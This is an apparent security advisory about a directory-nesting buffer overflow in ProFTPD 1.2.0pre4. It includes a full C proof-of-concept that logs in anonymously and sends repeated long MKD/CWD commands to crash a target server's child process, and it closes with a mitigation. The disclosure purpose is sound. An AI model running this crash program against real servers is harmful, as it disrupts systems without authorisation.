COMMAND

    proftpd

SYSTEMS AFFECTED

    ProFTP-1.2.0pre4

PROBLEM

    Renaud Deraison found following.  He found out yet another  buffer
    overflow in ProFTP 1.2.0pre4, which may or may not be exploitable.
    Why it may not be easily exploited (or not at all)? - because  the
    segmentation fault is not done because of a changed return adress.
    The overflow will in  fact change a pointer  and make it point  on
    somewhere else, and  then FTPD will  use strlen() on  it.  Anyway,
    maybe other variables may be changed.

    How does the overflow works?  This is a variation of the  infamous
    and now-old wu-ftpd  mkdir overflow (make  a directory in  another
    directory, in another  directory, and so  on), but this  time, the
    name of the created directories must not exceed 255 chars.  That's
    all.   Below is  a dumb  program that  will just  make the  remote
    proftpd crash.  Have a  look at /var/log/messages, and you'll  see
    something as fun as:

        Sep  1 14:18:49 prof proftpd[5327]: ProFTPD terminating (signal 11)

    (quick note: the  program will not  check for error  code, so make
    sure you have the right  to create directories in the  appropriate
    directory,  or  you'll  get  false  positives/negatives).  This is
    *not* a DoS  attack, since only  a ProFTPd child  will die.   This
    problem was tested on a RedHat 6.0.

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    /*
     * Crashes ProFTPd 1.2.0pre4 because of a buffer overflow.
     *
     *
     * This bug was discovered by the Nessus Security Scanner
     *
     * I don't know if this flaw can be exploited to gain
     * root privileges.
     *
     *
     * The name of the created directory must not exceed 255 chars !
     *
     *
     * Written by Renaud Deraison <deraison@cvs.nessus.org>
     *
     */
    
    /*
     * Change this !
     */
    #define TARGET "192.168.1.5"
    #define WRITEABLE_DIR "/incoming"
    
    int main()
    {
     struct in_addr target;
     int soc;
     struct sockaddr_in sa;
    
     char * writeable_dir = "CWD "WRITEABLE_DIR"\r\n";
     char * mkd;
     char * cwd;
    
    
     inet_aton(TARGET, &target);
     mkd = malloc(300);	bzero(mkd, 300);
     cwd = malloc(300);	bzero(cwd, 300);
    
     soc = socket(PF_INET, SOCK_STREAM,0);
    
     bzero(&sa, sizeof(sa));
     sa.sin_family = AF_INET;
     sa.sin_port   = htons(21);
     sa.sin_addr.s_addr = target.s_addr;
     if(!(connect(soc, (struct sockaddr *)&sa, sizeof(struct sockaddr_in))))
     {
      char * buf = malloc(1024);
      int i;
      sprintf(mkd, "MKD ");
      memset(mkd+4, 'X', 254);
      sprintf(mkd, "%s\r\n", mkd);
    
      sprintf(cwd, "CWD ");
      memset(cwd+4, 'X', 254);
      sprintf(cwd, "%s\r\n", cwd);
    
      recv(soc, buf, 1024, 0);
      send(soc, "USER ftp\r\n", strlen("USER ftp\r\n"),0);
      recv(soc, buf, 1024, 0);
      bzero(buf,1024);
      send(soc, "PASS joe@\r\n", strlen("PASS joe@\r\n"),0);
      recv(soc, buf, 1024, 0);
      bzero(buf, 1024);
      send(soc, writeable_dir, strlen(writeable_dir), 0);
      recv(soc, buf, 1024, 0);
      bzero(buf,1024);
    
    
      for(i=0;i<40;i++)
      {
       send(soc, mkd, strlen(mkd), 0);
       recv(soc, buf, 1024,0);
       if(!strlen(buf))
       {
        printf("Remote FTPd crashed (see /var/log/messages)\n");
        exit(0);
       }
       bzero(buf, 1024);
       send(soc, cwd, strlen(cwd), 0);
       recv(soc, buf, 1024,0);
       if(!strlen(buf))
       {
        printf("Remote FTPd crashed (see /var/log/messages)\n");
        exit(0);
       }
       bzero(buf, 1024);
      }
      printf("You were not vulnerable after all. Sorry\n");
      close(soc);
     }
     else perror("connect ");
     return(0);
    }

SOLUTION

    Use something  else /  another good  reason to  not have anonymous
    writeable  directories.   ProFTPD  1.2.0pre5  should   *CORRECTLY*
    address the security issues pointed out.